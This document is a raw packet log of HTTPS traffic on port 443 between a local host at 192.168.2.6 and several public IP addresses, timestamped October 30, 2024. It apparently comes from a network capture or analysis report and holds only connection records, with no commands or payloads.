Oct 30, 2024 11:45:32.676630020 CET	443	49842	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.676681042 CET	443	49842	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.676732063 CET	49842	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.676773071 CET	443	49842	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.676822901 CET	443	49842	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.676865101 CET	49842	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.678169966 CET	49846	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.678185940 CET	443	49846	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.679090977 CET	49846	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.679095984 CET	443	49846	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.679795980 CET	49842	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.679822922 CET	443	49842	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.679836988 CET	49842	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.679842949 CET	443	49842	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.681756973 CET	443	49845	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.682257891 CET	49845	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.682310104 CET	443	49845	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.682965994 CET	49845	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.682977915 CET	443	49845	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.684695959 CET	443	49847	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.684919119 CET	49858	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.684954882 CET	443	49858	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.685002089 CET	49847	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.685033083 CET	443	49847	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.685070038 CET	49858	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.685214043 CET	49858	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.685220957 CET	443	49858	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.685425043 CET	49847	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.685436964 CET	443	49847	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.686064959 CET	443	49848	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.686322927 CET	49848	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.686342955 CET	443	49848	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.686691999 CET	49848	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.686697006 CET	443	49848	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.705676079 CET	443	49837	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:32.709913015 CET	49837	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:32.709925890 CET	443	49837	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:32.709990025 CET	49837	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:32.747025967 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:32.747309923 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:32.747323036 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:32.747701883 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:32.747714996 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:32.747765064 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:32.747771978 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:32.747809887 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:32.748460054 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:32.750001907 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:32.750070095 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:32.750209093 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:32.750216007 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:32.812601089 CET	443	49846	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.812763929 CET	443	49846	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.812815905 CET	49846	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.814851999 CET	49846	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.814860106 CET	443	49846	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.814873934 CET	49846	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.814878941 CET	443	49846	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.822845936 CET	443	49847	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.823016882 CET	443	49847	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.823035002 CET	49863	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.823057890 CET	443	49863	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.823082924 CET	49847	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.823117018 CET	49863	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.824301004 CET	443	49845	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.824547052 CET	443	49845	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.824606895 CET	49845	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.825372934 CET	49847	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.825372934 CET	49847	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.825395107 CET	443	49847	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.825417042 CET	443	49847	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.826111078 CET	443	49848	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.826282024 CET	443	49848	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.826318026 CET	49848	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.826983929 CET	49848	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.826993942 CET	443	49848	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.827009916 CET	49848	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.827014923 CET	443	49848	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.832906961 CET	49863	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.832918882 CET	443	49863	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.834017038 CET	49845	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.834023952 CET	443	49845	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.834033966 CET	49845	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.834042072 CET	443	49845	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.839647055 CET	49864	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.839672089 CET	443	49864	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.839745045 CET	49864	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.839864016 CET	49864	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.839870930 CET	443	49864	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.840949059 CET	49865	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.840979099 CET	443	49865	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.841033936 CET	49865	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.841344118 CET	49865	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.841357946 CET	443	49865	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.842830896 CET	49866	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.842843056 CET	443	49866	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.842926979 CET	49866	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.846599102 CET	49866	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:32.846613884 CET	443	49866	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:32.910526991 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.004982948 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.005023003 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.005059004 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.005070925 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.008744001 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.008786917 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.008795023 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.018652916 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.018759966 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.018767118 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.027247906 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.027292013 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.027298927 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.126605034 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.126645088 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.126653910 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.126662970 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.126704931 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.129513979 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.131182909 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.131226063 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.131232977 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.140954018 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.140999079 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.141005993 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.149415970 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.149460077 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.149466991 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.265057087 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.265068054 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.270948887 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.271013975 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.271023989 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.271125078 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.271162033 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.271169901 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.271260023 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.271302938 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.271317005 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.271424055 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.271471024 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.271481037 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.274513960 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.274566889 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.274574041 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.321680069 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.321752071 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.321760893 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.329468966 CET	443	49855	18.154.84.16	192.168.2.6
Oct 30, 2024 11:45:33.331943989 CET	49855	443	192.168.2.6	18.154.84.16
Oct 30, 2024 11:45:33.331954956 CET	443	49855	18.154.84.16	192.168.2.6
Oct 30, 2024 11:45:33.333580017 CET	443	49855	18.154.84.16	192.168.2.6
Oct 30, 2024 11:45:33.333651066 CET	49855	443	192.168.2.6	18.154.84.16
Oct 30, 2024 11:45:33.334769011 CET	49855	443	192.168.2.6	18.154.84.16
Oct 30, 2024 11:45:33.334852934 CET	443	49855	18.154.84.16	192.168.2.6
Oct 30, 2024 11:45:33.371361017 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.371691942 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.371697903 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.375340939 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.375447989 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.375456095 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.385229111 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.385457039 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.385464907 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.393497944 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.393645048 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.393651962 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.407469988 CET	49855	443	192.168.2.6	18.154.84.16
Oct 30, 2024 11:45:33.407475948 CET	443	49855	18.154.84.16	192.168.2.6
Oct 30, 2024 11:45:33.443434954 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.443459988 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.443572998 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.443583012 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.443690062 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.482666016 CET	443	49858	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.493038893 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.496098042 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.496196032 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.496226072 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.496234894 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.498518944 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.498524904 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.507066965 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.507431030 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.507437944 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.515491962 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.515582085 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.515615940 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.515621901 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.515784979 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.518831968 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.519577026 CET	49858	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.519603968 CET	443	49858	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.520081997 CET	49858	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.520090103 CET	443	49858	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.564040899 CET	49855	443	192.168.2.6	18.154.84.16
Oct 30, 2024 11:45:33.564045906 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.753984928 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.754940033 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.755037069 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.755127907 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.755161047 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.755178928 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.755207062 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.755247116 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.755441904 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.755516052 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.755553007 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.755559921 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.755580902 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.755604982 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.755672932 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.755681992 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.755701065 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.755750895 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.755794048 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.756925106 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.757010937 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.757046938 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.757055998 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.757103920 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.757113934 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.757188082 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.757261992 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.757333040 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.757426977 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.757484913 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.757492065 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.757586956 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.757586956 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.760107994 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.762876987 CET	49871	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.762907982 CET	443	49871	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:33.762975931 CET	49871	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.763660908 CET	49873	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.763663054 CET	49872	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.763672113 CET	443	49872	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:33.763678074 CET	443	49873	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:33.763726950 CET	49873	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.763729095 CET	49872	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.765607119 CET	443	49864	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.768712997 CET	443	49865	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.768902063 CET	443	49866	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.769556046 CET	443	49863	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.775923014 CET	49863	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.775935888 CET	443	49863	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.776341915 CET	49863	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.776345968 CET	443	49863	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.777455091 CET	49864	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.777472973 CET	443	49864	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.779159069 CET	49864	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.779162884 CET	443	49864	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.783577919 CET	49871	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.783592939 CET	443	49871	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:33.784262896 CET	49872	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.784272909 CET	443	49872	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:33.787945986 CET	49873	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.787960052 CET	443	49873	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:33.794797897 CET	49865	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.794797897 CET	49865	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.794820070 CET	443	49865	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.794830084 CET	443	49865	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.795224905 CET	49866	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.795241117 CET	443	49866	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.796041012 CET	49866	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.796046019 CET	443	49866	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.803299904 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.803504944 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.803515911 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.803531885 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.804826975 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.809938908 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.847518921 CET	49872	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.848440886 CET	49874	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.848475933 CET	443	49874	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:33.848570108 CET	49874	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.850519896 CET	49871	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.851099014 CET	49855	443	192.168.2.6	18.154.84.16
Oct 30, 2024 11:45:33.851212025 CET	443	49855	18.154.84.16	192.168.2.6
Oct 30, 2024 11:45:33.851326942 CET	49855	443	192.168.2.6	18.154.84.16
Oct 30, 2024 11:45:33.852638006 CET	49877	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.852670908 CET	443	49877	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:33.852971077 CET	49877	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.854908943 CET	49874	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.854923010 CET	443	49874	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:33.855021000 CET	49873	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.855333090 CET	49881	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.855355024 CET	443	49881	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:33.855622053 CET	49881	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.856009007 CET	49877	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.856034040 CET	443	49877	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:33.856470108 CET	49881	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:33.856492043 CET	443	49881	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:33.868082047 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.868133068 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.868175030 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.868199110 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.868208885 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.868232012 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.868232012 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.868412971 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.874983072 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.882318974 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.882375002 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.886375904 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.886395931 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.890144110 CET	443	49858	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.890188932 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.890353918 CET	443	49858	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.891360044 CET	49858	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.891395092 CET	443	49872	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:33.895333052 CET	443	49871	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:33.895358086 CET	443	49873	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:33.897712946 CET	49858	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.897712946 CET	49858	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.897736073 CET	443	49858	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.897742987 CET	443	49858	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.912342072 CET	49882	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.912363052 CET	443	49882	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.913197041 CET	443	49864	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.913283110 CET	443	49864	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.913309097 CET	49882	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.913368940 CET	49864	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.913683891 CET	49864	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.913698912 CET	443	49864	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.913711071 CET	49882	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.913724899 CET	443	49882	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.915819883 CET	443	49863	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.915999889 CET	443	49863	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.916152954 CET	49863	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.916368961 CET	49863	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.916368961 CET	49863	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.916380882 CET	443	49863	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.916388988 CET	443	49863	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.916925907 CET	49883	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.916953087 CET	443	49883	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.917355061 CET	49883	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.918216944 CET	49883	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.918231010 CET	443	49883	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.919881105 CET	49884	443	192.168.2.6	13.107.253.45
